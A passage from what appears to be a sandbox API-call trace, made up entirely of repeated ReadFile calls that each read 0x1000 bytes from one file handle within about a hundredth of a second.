lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.316] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.316] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.316] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.316] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.317] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.317] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.317] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.317] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.317] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.317] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.317] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.317] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.318] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.318] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.318] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.318] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.318] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.318] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.318] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.318] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.318] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.318] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.319] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.319] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.319] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.319] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.319] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.319] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.319] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.319] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.319] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.320] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.320] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.320] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.320] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.320] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.320] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.320] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.320] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.320] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.321] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.321] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.321] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.321] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.321] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.321] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.321] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.321] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.321] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.322] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.322] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.322] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.322] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.322] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.322] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.322] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.322] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.322] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.323] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.323] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.323] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.323] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.323] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.323] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.323] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.323] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.323] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.324] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.324] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.324] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.324] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.324] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.324] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.324] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.324] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.324] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.325] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.325] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.325] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.325] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.325] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.325] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.325] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.325] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.325] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.326] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.326] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.326] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.326] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.326] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.326] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.326] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.326] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.326] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.327] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.327] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.327] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.327] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.327] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.327] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.327] ReadFile (in: hFile=0xd0, lpBuffer=0x84e8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42b014, lpOverlapped=0x0 | out: lpBuffer=0x84e8a0*, lpNumberOfBytesRead=0x42b014*=0x1000, lpOverlapped=0x0) returned 1 [0129.327] 